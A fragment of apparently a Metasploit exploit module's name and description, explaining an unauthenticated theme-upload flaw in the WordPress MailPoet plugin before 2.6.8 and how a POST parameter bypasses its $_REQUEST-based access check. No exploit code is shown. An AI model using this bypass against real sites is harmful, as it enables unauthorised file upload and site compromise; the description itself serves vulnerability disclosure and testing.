'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
functionality to upload a zip file containing the payload. The plugin used the
admin_init hook, which is also executed for unauthenticated users when accessing
a specific URL. The developers tried to fix the vulnerablility
in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
uses $_REQUEST to check for access rights. By setting the POST parameter to
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
the $_GET array to determine the page and is so not affected by this.
